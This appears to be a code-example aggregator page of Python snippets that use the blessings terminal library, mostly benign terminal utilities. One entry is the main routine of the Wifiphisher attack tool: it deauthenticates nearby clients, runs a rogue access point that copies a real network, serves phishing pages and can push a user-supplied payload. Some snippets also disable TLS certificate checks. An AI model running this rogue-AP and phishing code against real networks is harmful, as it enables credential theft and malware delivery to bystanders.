def trx(p):  # function that right-aligns string p in terminal window
    x = t.width - len(p)
    return int(x)


def top_right(p):  # function to execute yellow_wp(p) function in top right
    with t.location(trx(p), 0):
        yellow_wp(p)


def prompt_location(
Exemplo n.º 23
0
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$
        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$.............$$$$$$$$$$$$$$$$$$$$$$$$$'''

welcome = term.clear() + '''\n\n
~~~~~~~~~~~~ WELCOME TO TERMCHAT ~~~~~~~~~~~
~~~ facebook messenger for your terminal ~~~
\n\n\n\n\n\n\n'''


class FBChat(Client):
    def login(self, email, password, max_tries):

        self.onLoggingIn(email=email)

        self.email = email
        self.password = password

        login_successful, login_url = self._login()
def control_led_by_pot():
    try:
        while True:
            knob_val = adc.read_oneshot(POTI)
            print("Pot value is", hex(knob_val))
            pct_full_scale = min(1.0, knob_val / 0x4fffff)
            print("Pot % is", pct_full_scale)
            dac.write_dac(DAC_A, DEFAULT_LED_BIAS + int(LED_RANGE*pct_full_scale))

    except (KeyboardInterrupt):
        print("\n" * 8 + "User exit.\n")
    return


print(term.clear() + term.bold_red_on_bright_green(' Wavefront ADC/DAC Board with PiGPIO Demo '))
host = input('Raspberry Pi hostname (enter for localhost):')
hostName = host if host else 'localhost'
print(term.blue('Connecting to'), term.bold(hostName))

pi = io.pi(host)

if not pi.connected:
    print(term.white_on_red("Could not connect to PiGPIO target " + hostName + "!"))
    sys.exit(-1)

print(term.dim('...connection established'))
adc = ADS1256(pi=pi)
# calibrate
adc.cal_self()
dac = DAC8552(pi=pi)
Exemplo n.º 25
0

def on_close(ws):
    print "### closed ###"


def on_open(ws):
    def run(*args):
        while True:
            time.sleep(1)
        print "thread terminating..."

    thread.start_new_thread(run, ())


if __name__ == "__main__":
    try:
        t.enter_fullscreen()
        print t.clear()
        #websocket.enableTrace(True)
        ws = websocket.WebSocketApp("wss://az.skyhunter.ca:8083/",
                                    on_message=on_message,
                                    on_error=on_error,
                                    on_close=on_close)
        ws.on_open = on_open
        ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE})
    except:
        print t.normal
        t.exit_fullscreen()
        print t.clear()
        exit()
Exemplo n.º 26
0
	if ICMP in pkt:
#		print " ICMP"
		sendled(68686)


def handle_error(self,request,client_address):		# All callbacks
    pass



with term.fullscreen():

	print term.on_black('Ok:'+args.interface)

	sleep(2)

	print(term.clear())

	#sniff(iface=args.interface, prn=print_summary, store=0,filter="not (host 192.168.1.42 and not port 22)")
	sniff(iface=args.interface, prn=print_summary, store=0,filter=args.filter)




time.sleep(2)

print term.normal

term.exit_fullscreen

Exemplo n.º 27
0
    if key == keyboard.Key.esc:  ## Esc:
        running = False  ## Finish the app


listener = keyboard.Listener(on_press=on_press, on_release=None)

## GAME
listener.start()

won = ''

running = True
while running:
    # system('clear')
    print(term.clear() + '')  ## Use that instead if ur allergic to `os.system`

    print('Press YOUR button to progress YOUR bar\n')

    progress = []
    for letter in board.keys():
        amount = board[letter]
        progress.append(
            f'{letter} [{"=" * amount}{"-" * (bar_size - amount)}]')

    for line in progress:
        print(line)
        if line.count('=') >= bar_size:
            won = line[0]

    if won:
Exemplo n.º 28
0
                    my_input = sys.stdin.readline()

            return  # RETURN


loop = asyncio.get_event_loop()

checkout_path = sys.argv[1]

tasks = []
tasks.append(run_waf(checkout_path, "opt_exc_mt", target="bsls"))
tasks.append(run_waf(checkout_path, "dbg_exc_mt_64", target="bslscm"))
tasks.append(run_waf(checkout_path, "dbg_exc_mt_cpp11", target="bsls"))

print(term.clear())

with term.location(1, (LineProcessor.position + 2) * 2):
    with term.hidden_cursor():
        try:
            loop.run_until_complete(asyncio.wait(tasks))
        except e:
            print("Failed with exception:")
            print(e)

        loop.close()

print(term.move(1, 50))

if debug_mode:
    print("Hit enter to exit")
Exemplo n.º 29
0
            elif selection == '2':                     # if user wishes to exit to main menu
                break
            else:                                      # if anything else then loop
                print('Invalid selection')

def print_entrys():               # function for printing the inventory
    print('\nItem\t\tLocation')
    print('----\t\t--------')
    with open(filename, 'r') as myfile:            # open file with implied close (with)
        myDict = json.loads(myfile.read())           # read file into a dictionary
    for itm, loc in myDict.items():                # loop through dictionary
        print(itm + '\t\t' + loc)                    # print dictionary item
    input('\nPress enter to continue')             # wait for user before continuing

while True:
    print(t.clear())                               # clear screen
    print('\nInventory Tracker 1.0\n')

    print('Main Menu:\n')                          # print main menu
    print('  1 - Create or modify an entry')
    print('  2 - Search for an entry')
    print('  3 - Print inventory')
    print('  q - Quit')

    menu_selection = input('\nPlease enter a selection: ')  # get user input

    if menu_selection.lower() == 'q':              # if user enters 'q' then quit
        break
    elif menu_selection == '1':                    # if user wishes to add/modify an entry
        new_item = input('Please enter an item: ')
        new_location = input('Please enter the location: ')
Exemplo n.º 30
0
def run():

    print ('[' + T + '*' + W + '] Starting Wifiphisher %s at %s' %
           (VERSION, time.strftime("%Y-%m-%d %H:%M")))

    # Parse args
    global args, APs, clients_APs, mon_MAC, mac_matcher, hop_daemon_running
    args = parse_args()

    # Check args
    check_args(args)

    # Are you root?
    if os.geteuid():
        sys.exit('[' + R + '-' + W + '] Please run as root')

    # TODO: We should have more checks here:
    # Is anything binded to our HTTP(S) ports?
    # Maybe we should save current iptables rules somewhere

    network_manager = interfaces.NetworkManager()

    mac_matcher = macmatcher.MACMatcher(MAC_PREFIX_FILE)

    # get interfaces for monitor mode and AP mode and set the monitor interface
    # to monitor mode. shutdown on any errors
    try:
        if not args.nojamming:
            if args.jamminginterface and args.apinterface:
                mon_iface = network_manager.get_jam_iface(
                    args.jamminginterface)
                ap_iface = network_manager.get_ap_iface(args.apinterface)
            else:
                mon_iface, ap_iface = network_manager.find_interface_automatically()
            network_manager.set_jam_iface(mon_iface.get_name())
            network_manager.set_ap_iface(ap_iface.get_name())
            # display selected interfaces to the user
            print ("[{0}+{1}] Selecting {0}{2}{1} interface for the deauthentication "
                   "attack\n[{0}+{1}] Selecting {0}{3}{1} interface for creating the "
                   "rogue Access Point").format(G, W, mon_iface.get_name(), ap_iface.get_name())
        else:
            if args.apinterface:
                ap_iface = network_manager.get_ap_iface(
                    interface_name=args.apinterface)
            else:
                ap_iface = network_manager.get_ap_iface()
            mon_iface = ap_iface
            network_manager.set_ap_iface(ap_iface.get_name())
            print ("[{0}+{1}] Selecting {0}{2}{1} interface for creating the "
                   "rogue Access Point").format(G, W, ap_iface.get_name())

        kill_interfering_procs()

        # set monitor mode to monitor interface
        network_manager.set_interface_mode(mon_iface, "monitor")
    except (interfaces.NotEnoughInterfacesFoundError,
            interfaces.JammingInterfaceInvalidError,
            interfaces.ApInterfaceInvalidError,
            interfaces.NoApInterfaceFoundError,
            interfaces.NoMonitorInterfaceFoundError) as err:
        print ("[{0}!{1}] " + str(err)).format(R, W)
        time.sleep(2)
        shutdown()

    set_fw_rules()
    set_kernel_var()
    network_manager.up_ifaces([ap_iface, mon_iface])

    print '[' + T + '*' + W + '] Cleared leases, started DHCP, set up iptables'

    if args.essid:
        essid = args.essid
        channel = str(CHANNEL)
        args.accesspoint = False
        args.channel = False
        ap_mac = None
        enctype = None
    else:
        # Copy AP
        time.sleep(3)
        hop = Thread(target=channel_hop, args=(mon_iface,))
        hop.daemon = True
        hop.start()
        sniffing(mon_iface.get_name(), targeting_cb)
        channel, essid, ap_mac, enctype = copy_AP()
        args.accesspoint = ap_mac
        args.channel = channel
        hop_daemon_running = False

    # get the correct template
    template = select_template(args.phishingscenario)

    print ("[" + G + "+" + W + "] Selecting " + template.get_display_name() +
           " template")

    # payload selection for browser plugin update
    if template.has_payload():
        payload_path = False
        # copy payload to update directory
        while not payload_path or not os.path.isfile(payload_path):
            # get payload path
            payload_path = raw_input("[" + G + "+" + W +
                                     "] Enter the [" + G + "full path" + W +
                                     "] to the payload you wish to serve: ")
            if not os.path.isfile(payload_path):
                print '[' + R + '-' + W + '] Invalid file path!'
        print '[' + T + '*' + W + '] Using ' + G + payload_path + W + ' as payload '
        copyfile(payload_path, PHISHING_PAGES_DIR +
                 template.get_payload_path())

    APs_context = []
    for i in APs:
        APs_context.append({
            'channel': APs[i][0] or "",
            'essid': APs[i][1] or "",
            'bssid': APs[i][2] or "",
            'vendor': mac_matcher.get_vendor_name(APs[i][2]) or ""
        })

    template.merge_context({'APs': APs_context})

    ap_logo_path = template.use_file(mac_matcher.get_vendor_logo_path(ap_mac))

    template.merge_context({
        'target_ap_channel': args.channel or "",
        'target_ap_essid': essid or "",
        'target_ap_bssid': ap_mac or "",
        'target_ap_encryption': enctype or "",
        'target_ap_vendor': mac_matcher.get_vendor_name(ap_mac) or "",
        'target_ap_logo_path': ap_logo_path or ""
    })

    # We want to set this now for hostapd. Maybe the interface was in "monitor"
    # mode for network discovery before (e.g. when --nojamming is enabled).
    network_manager.set_interface_mode(ap_iface, "managed")
    # Start AP
    start_ap(ap_iface.get_name(), channel, essid, args)
    dhcpconf = dhcp_conf(ap_iface.get_name())
    if not dhcp(dhcpconf, ap_iface.get_name()):
        print('[' + G + '+' + W +
              '] Could not set IP address on %s!' % ap_iface.get_name()
              )
        shutdown(template)
    subprocess.call('clear', shell=True)
    print ('[' + T + '*' + W + '] ' + T +
           essid + W + ' set up on channel ' +
           T + channel + W + ' via ' + T + mon_iface.get_name() +
           W + ' on ' + T + str(ap_iface.get_name()) + W)

    # With configured DHCP, we may now start the web server
    # Start HTTP server in a background thread
    print '[' + T + '*' + W + '] Starting HTTP/HTTPS server at ports ' + str(PORT) + ", " + str(SSL_PORT)
    webserver = Thread(target=phishinghttp.runHTTPServer,
                       args=(NETWORK_GW_IP, PORT, SSL_PORT, template))
    webserver.daemon = True
    webserver.start()

    time.sleep(1.5)

    # We no longer need mac_matcher
    mac_matcher.unbind()

    clients_APs = []
    APs = []
    monitor_on = None
    conf.iface = mon_iface.get_name()
    mon_MAC = mon_mac(mon_iface.get_name())

    if not args.nojamming:
        monchannel = channel
        # Start channel hopping
        hop = Thread(target=channel_hop2, args=(mon_iface,))
        hop.daemon = True
        hop.start()

    # Start sniffing
    sniff_thread = Thread(target=sniff_dot11, args=(mon_iface.get_name(),))
    sniff_thread.daemon = True
    sniff_thread.start()

    # Main loop.
    try:
        term = Terminal()
        with term.fullscreen():
            while 1:
                term.clear()
                with term.hidden_cursor():
                    print term.move(0, term.width - 30) + "|"
                    print term.move(1, term.width - 30) + "|" + " " + term.bold_blue("Wifiphisher " + VERSION)
                    print term.move(2, term.width - 30) + "|" + " ESSID: " + essid
                    print term.move(3, term.width - 30) + "|" + " Channel: " + channel
                    print term.move(4, term.width - 30) + "|" + " AP interface: " + mon_iface.get_name() 
                    print term.move(5, term.width - 30) + "|" + "_"*29 
                    print term.move(1,0) + term.blue("Jamming devices: ")
                    if os.path.isfile('/tmp/wifiphisher-jammer.tmp'):
                        proc = check_output(['tail', '-5', '/tmp/wifiphisher-jammer.tmp'])
                        print term.move(4,0) + proc 
                    print term.move(9,0) + term.blue("DHCP Leases: ")
                    if os.path.isfile('/var/lib/misc/dnsmasq.leases'):
                        proc = check_output(['tail', '-5', '/var/lib/misc/dnsmasq.leases'])
                        print term.move(10,0) + proc
                    print term.move(17,0) + term.blue("HTTP requests: ")
                    if os.path.isfile('/tmp/wifiphisher-webserver.tmp'):
                        proc = check_output(['tail', '-5', '/tmp/wifiphisher-webserver.tmp'])
                        print term.move(18,0) + proc
                    if phishinghttp.terminate and args.quitonsuccess:
                        raise KeyboardInterrupt
    except KeyboardInterrupt:
        shutdown(template, network_manager)
Exemplo n.º 31
0
from AddressReader import *
from GeoIPLookup import *
from RDAPLookup import *
from CommandTerminal import *
from QueryFilter import *
import sys
import subprocess as sp
from blessings import Terminal
import time

commandTerminal = 0


def shutdown():
    commandTerminal.printSystem("Stopping...")
    commandTerminal.end()


if __name__ == "__main__":
    sp.call('clear', shell=True)
    terminal = Terminal()
    terminal.clear()
    terminal.fullscreen()
    queryFilter = QueryFilter(shutdown)
    commandTerminal = CommandTerminal(terminal, queryFilter.runCommand)
    commandTerminal.start()
    time.sleep(1)
    queryFilter.printHeader()
Exemplo n.º 32
0
#!/usr/bin/env python3
#Defining Functions
#Written by Homer Walden

#Import files
from blessings import Terminal
t = Terminal()                                         #set variable t for Terminal file
print(t.clear())                                       #clears the text
print(t.bold('Hi there!'))                             #prints bold test
print(t.move_down)                                     #moves cursor down one line
print(t.bold_red_on_bright_green('It hurts my eyes!')) #print in bold and green
print(t.move_down+t.bold_underline_black_on_yellow('Look! A 1997 web page! No, the font would have to be blinking'))
print(t.move_down)
print(" Terminal width: ",t.width)
print(" Terminal height: ",t.height)

print(t.move_down+"A one-liner way to show terminal width and height",t.reverse,t.width,"by",t.height," ") #combine height and width methods into one line

with t.location(20, t.height - 1):
   print(t.reverse + t.blink('This is at the bottom and printed in REVERSE.'))
Exemplo n.º 33
0
class Progress(object):
    """ Handle progress indication using callbacks.

    This class will create an object that stores information about a
    running yumsync process. It stores information about each repository
    being synced, including total packages, completed packages, and
    the status of the repository metadata. This makes it possible to
    display aggregated status of multiple repositories during a sync.
    """
    repos = {}
    totals = {
        'numpkgs': 0,
        'dlpkgs': 0,
        'md_complete': 0,
        'md_total': 0,
        'errors':0
    }
    errors = []

    def __init__(self):
      """ records the time the sync started.
          and initialise blessings terminal """
      self.start = datetime.datetime.now()
      self.linecount = 0
      if sys.stdout.isatty():
          self.term = Terminal()
          sys.stdout.write(self.term.clear())

    def __del__(self):
        """ destructor - need to reset the terminal ."""

        if sys.stdout.isatty():
            sys.stdout.write(self.term.normal)
            sys.stdout.write(self.term.move(self.linecount, 0))
            sys.stdout.flush()

    def update(self, repo_id, set_total=None, pkgs_downloaded=None,
               pkg_exists=None, repo_metadata=None, repo_error=None):
        """ Handles updating the object itself.

        This method will be called any time the number of packages in
        a repository becomes known, when any package finishes downloading,
        when repository metadata begins indexing and when it completes.
        """
        if not repo_id in self.repos:
            self.repos[repo_id] = {'numpkgs':0, 'dlpkgs':0, 'repomd':''}
            self.totals['md_total'] += 1
        if set_total:
            self.repos[repo_id]['numpkgs'] = set_total
            self.totals['numpkgs'] += set_total
        if pkgs_downloaded:
            self.repos[repo_id]['dlpkgs'] += pkgs_downloaded
            self.totals['dlpkgs'] += pkgs_downloaded
        if repo_metadata:
            self.repos[repo_id]['repomd'] = repo_metadata
            if repo_metadata == 'complete':
                self.totals['md_complete'] += 1
        if repo_error:
            self.totals['errors'] += 1
            if self.repos[repo_id]['repomd'] != 'complete':
                self.totals['md_total'] -= 1
            self.errors.append((repo_id, repo_error))

        if sys.stdout.isatty():
            self.formatted()

    def color(self, string, color=None):
        if color and hasattr(self.term, color):
            return '{}{}{}'.format(getattr(self.term, color),
                                   string,
                                   self.term.normal)
        return string

    def pct(self, current, total):
        """ Calculate a percentage. """
        val = current / float(total) * 100
        formatted = '{:0.1f}%'.format(val)
        return formatted if int(val) < 100 else 'complete'

    def elapsed(self):
        """ Calculate and return elapsed time.

        This function does dumb rounding by just plucking off anything past a
        dot "." in a time delta between two datetime.datetime()'s.
        """
        return str(datetime.datetime.now() - self.start).split('.')[0]

    def format_header(self, repos):
        max_repo = len(max(repos, key=len))

        repo = '{:<{}s}'.format('Repository', max_repo)
        done = '{:>5s}'.format('Done')
        total = '{:>5s}'.format('Total')
        complete = 'Packages'
        metadata = 'Metadata'
        header_str = '{}  {}/{}  {}  {}'.format(repo, done, total, complete, metadata)

        return header_str, len(repo), len(done), len(total), len(complete), len(metadata)

    def format_line(self, reponame, package_counts, percent, repomd):
        """ Return a string formatted for output.

        Since there is a common column layout in the progress indicator, we can
        we can implement the printf-style formatter in a function.
        """
        return '{}  {}  {}  {}'.format(reponame, package_counts, percent, repomd)

    def represent_repo_pkgs(self, repo_id, a, b):
        """ Format the ratio of packages in a repository. """
        numpkgs = self.repos[repo_id]['numpkgs']
        dlpkgs  = self.repos[repo_id]['dlpkgs']
        return self.represent_pkgs(dlpkgs, numpkgs, a, b)

    def represent_total_pkgs(self, a, b):
        """ Format the total number of packages in all repositories. """
        numpkgs = self.totals['numpkgs']
        dlpkgs  = self.totals['dlpkgs']
        return self.represent_pkgs(dlpkgs, numpkgs, a, b)

    def represent_pkgs(self, dlpkgs, numpkgs, a, b):
        """ Represent a package ratio.

        This will display nothing if the number of packages is 0 or unknown, or
        typical done/total if total is > 0.
        """
        if numpkgs == 0:
            return '{:^{}s}'.format('-', a + b + 1)
        elif dlpkgs >= numpkgs:
            return '{:>{}}'.format(dlpkgs, a + b + 1)
        else:
            return '{0:>{2}}/{1:<{3}}'.format(dlpkgs, numpkgs, a, b)


    def represent_repo_percent(self, repo_id, length):
        """ Display the percentage of packages downloaded in a repository. """
        numpkgs = self.repos[repo_id]['numpkgs']
        dlpkgs  = self.repos[repo_id]['dlpkgs']
        return self.represent_percent(dlpkgs, numpkgs, length)

    def represent_total_percent(self, length):
        """ Display the overall percentage of downloaded packages. """
        numpkgs = self.totals['numpkgs']
        dlpkgs  = self.totals['dlpkgs']
        return self.represent_percent(dlpkgs, numpkgs, length)

    def represent_total_metadata_percent(self, length):
        """ Display the overall percentage of metadata completion. """
        a = self.totals['md_total']
        b = self.totals['md_complete']
        return self.represent_percent(b, a, length)

    def represent_percent(self, dlpkgs, numpkgs, length):
        """ Display a percentage of completion.

        If the number of packages is unknown, nothing is displayed. Otherwise,
        a number followed by the percent sign is displayed.
        """
        if dlpkgs == 0:
            return '{:^{}s}'.format('-', length)
        else:
            return '{:^{}s}'.format(self.pct(dlpkgs, numpkgs), length)

    def represent_repomd(self, repo_id, length):
        """ Display the current status of repository metadata. """
        if not self.repos[repo_id]['repomd']:
            return '{:^{}s}'.format('-', length)
        else:
            return self.repos[repo_id]['repomd']

    def represent_repo(self, repo_id, h1, h2, h3, h4, h5):
        """ Represent an entire repository in one line.

        This makes calls to the other methods of this class to create a
        formatted string, which makes nice columns.
        """

        repo = '{:<{}s}'.format(repo_id, h1)

        if 'error' in self.repos[repo_id]:
            repo     = self.color(repo, 'red')
            packages = self.color('{:^{}s}'.format('error', h2 + h3 + 1), 'red')
            percent  = self.color('{:^{}s}'.format('-', h4), 'red')
            metadata = self.color('{:^{}s}'.format('-', h5), 'red')
        else:
            repo     = self.color(repo, 'blue')
            packages = self.represent_repo_pkgs(repo_id, h2, h3)
            percent  = self.represent_repo_percent(repo_id, h4)
            metadata = self.represent_repomd(repo_id, h5)
            if percent == 'complete':
                percent = self.color(percent, 'green')
            if metadata == 'building':
                metadata = self.color(metadata, 'yellow')
            elif metadata == 'complete':
                metadata = self.color(metadata, 'green')
        return self.format_line(repo, packages, percent, metadata)

    def represent_total(self, h1, h2, h3, h4, h5):
        total    = self.color('{:>{}s}'.format('Total', h1), 'yellow')
        packages = self.represent_total_pkgs(h2, h3)
        percent  = self.represent_total_percent(h4)
        metadata = self.represent_total_metadata_percent(h5)
        if percent == 'complete':
            percent = self.color(percent, 'green')
        if metadata == 'complete':
            metadata = self.color(metadata, 'green')

        return self.format_line(total, packages, percent, metadata)

    def emit(self, line=''):
        numlines = len(line.split('\n'))
        self.linecount += numlines
        with self.term.location(x=0, y=self.linecount - numlines):
            sys.stdout.write(line)
            sys.stdout.write(self.term.clear_eol())

    def formatted(self):
        """ Print all known progress data in a nicely formatted table.

        This method keeps track of what it has printed before, so that it can
        backtrack over the console screen, clearing out the previous flush and
        printing out a new one. This method is called any time any value is
        updated, which is what gives us that real-time feeling.

        Unfortunately, the YUM library calls print directly rather than just
        throwing exceptions and handling them in the presentation layer, so
        this means that yumsync's output will be slightly flawed if YUM prints
        something directly to the screen from a worker process.
        """

        # Remove repos with errors from totals
        if self.totals['errors'] > 0:
            for repo_id, error in self.errors:
                if repo_id in self.repos:
                    if not 'error' in self.repos[repo_id]:
                        self.totals['dlpkgs'] -= self.repos[repo_id]['dlpkgs']
                        self.totals['numpkgs'] -= self.repos[repo_id]['numpkgs']
                        self.repos[repo_id]['error'] = True

        self.linecount = 0  # reset line counter
        header, h1, h2, h3, h4, h5 = self.format_header(self.repos.keys())
        self.emit('-' * len(header))
        self.emit(self.color('{}'.format(header), 'green'))
        self.emit('-' * len(header))

        error_repos = []
        complete_repos = []
        metadata_repos = []
        other_repos = []

        for repo_id in sorted(self.repos):
            if 'error' in self.repos[repo_id]:
                error_repos.append(repo_id)
            elif self.repos[repo_id]['repomd'] == 'complete':
                complete_repos.append(repo_id)
            elif self.repos[repo_id]['repomd']:
                metadata_repos.append(repo_id)
            else:
                other_repos.append(repo_id)

        for repo_id in itertools.chain(error_repos, complete_repos, metadata_repos, other_repos):
            self.emit(self.represent_repo(repo_id, h1, h2, h3, h4, h5))

        self.emit('-' * len(header))
        self.emit(self.represent_total(h1, h2, h3, h4, h5))
        self.emit('-' * len(header))

        # Append errors to output if any found.
        if self.totals['errors'] > 0:
            self.emit(self.color('Errors ({}):'.format(self.totals['errors']), 'red'))
            for repo_id, error in self.errors:
                self.emit(self.color('{}: {}'.format(repo_id, error), 'red'))

        with self.term.location(x=0, y=self.linecount):
            sys.stdout.write(self.term.clear_eos())

        sys.stdout.flush()
Exemplo n.º 34
0
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$Z                                 Z$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$Z                                 Z$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$             $$$$$$$$$$$$$$$$$$$$$$$$$\n' +
'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$.............$$$$$$$$$$$$$$$$$$$$$$$$$\n')

raw_input('Hit enter to continue...')

welcome = term.clear() + '\n\n\n' + '~~~~~~~~~~~~ WELCOME TO TERMCHAT ~~~~~~~~~~~\n' + '~~~ facebook messenger for your terminal ~~~' + '\n\n\n\n\n\n\n\n' + 'Enter your login credentials to continue...'


print(welcome)
raw_input('Email: ')
raw_input('Password: ')
Exemplo n.º 35
0
from blessings import Terminal
import os
import time
import hashlib

wrap = Terminal()
run = True
logged = False
root = False

print(wrap.clear())

time.sleep(2)
with wrap.location(0, wrap.height):
    print(wrap.bold("Login backup inited!"))
    time.sleep(1)
    print(wrap.clear())
with wrap.location(0, wrap.height):
    print(wrap.bold("Password backup inited!"))
    time.sleep(1)
    print(wrap.clear())
    time.sleep(1)

wrap.location(0, wrap.height)

while run:
    if not logged:
        print("Welcome to the MMC net. MMC(2020) All rights reserved.")
        print("For continue enter login & password")
        username = input("Login: "******"Password: ")
Exemplo n.º 36
0
def on_error(ws, error):
    print error

def on_close(ws):
    print "### closed ###"

def on_open(ws):
    def run(*args):
        while True:
            time.sleep(1)
        print "thread terminating..."
    thread.start_new_thread(run, ())


if __name__ == "__main__":
  try:
    t.enter_fullscreen()
    print t.clear()
    #websocket.enableTrace(True)
    ws = websocket.WebSocketApp("wss://az.skyhunter.ca:8083/",
                                  on_message = on_message,
                                  on_error = on_error,
                                  on_close = on_close)
    ws.on_open = on_open
    ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE})
  except:
    print t.normal
    t.exit_fullscreen()
    print t.clear()
    exit()
Exemplo n.º 37
0
class Progress(object):
    """ Handle progress indication using callbacks.

    This class will create an object that stores information about a
    running yumsync process. It stores information about each repository
    being synced, including total packages, completed packages, and
    the status of the repository metadata. This makes it possible to
    display aggregated status of multiple repositories during a sync.
    """
    repos = {}
    totals = {
        'numpkgs': 0,
        'dlpkgs': 0,
        'md_complete': 0,
        'md_total': 0,
        'errors': 0
    }
    errors = []

    def __init__(self):
        """ records the time the sync started.
            and initialise blessings terminal """
        self.start = datetime.datetime.now()
        self.linecount = 0
        if sys.stdout.isatty():
            self.term = Terminal()
            sys.stdout.write(self.term.clear())

    def __del__(self):
        """ destructor - need to reset the terminal ."""

        if sys.stdout.isatty():
            sys.stdout.write(self.term.normal)
            sys.stdout.write(self.term.move(self.linecount, 0))
            sys.stdout.flush()

    def update(self,
               repo_id,
               set_total=None,
               pkgs_downloaded=None,
               pkg_exists=None,
               repo_metadata=None,
               repo_error=None):
        """ Handles updating the object itself.

        This method will be called any time the number of packages in
        a repository becomes known, when any package finishes downloading,
        when repository metadata begins indexing and when it completes.
        """
        if not repo_id in self.repos:
            self.repos[repo_id] = {'numpkgs': 0, 'dlpkgs': 0, 'repomd': ''}
            self.totals['md_total'] += 1
        if set_total:
            self.repos[repo_id]['numpkgs'] = set_total
            self.totals['numpkgs'] = 0
            for _, repo in six.iteritems(self.repos):
                self.totals['numpkgs'] += repo['numpkgs']
        if pkgs_downloaded:
            self.repos[repo_id]['dlpkgs'] += pkgs_downloaded
            self.totals['dlpkgs'] += pkgs_downloaded
        if repo_metadata:
            self.repos[repo_id]['repomd'] = repo_metadata
            if repo_metadata == 'complete':
                self.totals['md_complete'] += 1
        if repo_error:
            self.totals['errors'] += 1
            if self.repos[repo_id]['repomd'] != 'complete':
                self.totals['md_total'] -= 1
            self.errors.append((repo_id, repo_error))

        if sys.stdout.isatty():
            self.formatted()

    def color(self, string, color=None):
        if color and hasattr(self.term, color):
            return '{}{}{}'.format(getattr(self.term, color), string,
                                   self.term.normal)
        return string

    @classmethod
    def pct(cls, current, total):
        """ Calculate a percentage. """
        if total == 0:
            return "0"
        val = current / float(total) * 100
        formatted = '{:0.1f}%'.format(val)
        return formatted

    def elapsed(self):
